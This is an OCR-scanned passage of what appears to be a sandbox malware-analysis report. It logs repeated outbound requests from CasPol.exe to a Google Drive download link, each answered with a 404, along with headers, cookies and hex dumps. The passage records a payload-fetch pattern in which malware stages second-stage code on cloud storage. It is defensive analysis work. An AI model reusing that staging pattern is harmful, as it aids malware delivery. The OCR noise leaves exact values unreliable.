eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:30 GMT

Expires: Wed, 24 Nov 2021 10:55:30 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-kCIJQUNEy+Je5REG2dfg6gA’ ‘unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:30 GMT

Expires: Wed, 24 Nov 2021 10:55:30 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:43 UTC 19

2021-11-24 10:54:43 UTC 20

2021-11-24 10:54:43 UTC 20

2021-11-24 10:54:43 UTC 21

Session ID Source IP

130 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:30 UTC 194

2021-11-24 10:55:31 UTC 195

2021-11-24 10:55:31 UTC 196

2021-11-24 10:55:31 UTC 196

Session ID Source IP
131 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49955

Direction

ouT

Source Port

49956

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-RXhLpWwz349poE4wW7QEaQ' 'unsafe-inline' 'strict-dynamic' https: http:
‘unsafe-eval';object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:54:43 GMT

Expires: Wed, 24 Nov 2021 10:54:43 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-ddwzyzKaeUWQzdY2gNCRSA' ‘unsafe-inline' ‘strict-dynamic https: http: ‘unsafe
-eval';object-src 'none’;base-uri ‘'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:30 GMT

Expires: Wed, 24 Nov 2021 10:55:30 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:31 UTC 196

2021-11-24 10:55:31 UTC 196

2021-11-24 10:55:31 UTC 197

2021-11-24 10:55:31 UTC 197

Session ID Source IP

132 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:31 UTC 197

2021-11-24 10:55:31 UTC 198

2021-11-24 10:55:31 UTC 199

2021-11-24 10:55:31 UTC 199

Session ID Source IP
14 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49957

Direction

ouTt

Source Port

49836

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-N7lysO19yZ9nTW/+hbamkA' 'unsafe-inline' 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l90caqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:55:31 GMT

Expires: Wed, 24 Nov 2021 10:55:31 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-/bXLkSj6KRZ7tqTKpNdxTw' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:31 GMT

Expires: Wed, 24 Nov 2021 10:55:31 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:43 UTC 21

2021-11-24 10:54:44 UTC 21

2021-11-24 10:54:44 UTC 22

2021-11-24 10:54:44 UTC 22

Session ID Source IP

15 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:44 UTC 22

2021-11-24 10:54:44 UTC 23

2021-11-24 10:54:44 UTC 23

2021-11-24 10:54:44 UTC 24

Session ID Source IP
16 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49837

Direction

ouTt

Source Port

49838

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src 'nonce-0AGYhLQkt5mzdkvZizlcZg' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:54:44 GMT

Expires: Wed, 24 Nov 2021 10:54:44 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-FNelfOhx/KvrJz6ipaLEOQ' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:54:44 GMT

Expires: Wed, 24 Nov 2021 10:54:44 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:44 UTC 24

2021-11-24 10:54:45 UTC 24

2021-11-24 10:54:45 UTC 25

2021-11-24 10:54:45 UTC 25

Session ID Source IP

17 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:45 UTC 25

2021-11-24 10:54:45 UTC 26

2021-11-24 10:54:45 UTC 26

2021-11-24 10:54:45 UTC 27

Session ID Source IP
18 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49839

Direction

ouTt

Source Port

49840

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-z5aYzxvqGegOQ7jLmhkDUQ' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:54:44 GMT

Expires: Wed, 24 Nov 2021 10:54:44 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-Z/AS1nnxI8kx19hJIxK3zpA' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:45 GMT

Expires: Wed, 24 Nov 2021 10:54:45 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:45 UTC 27

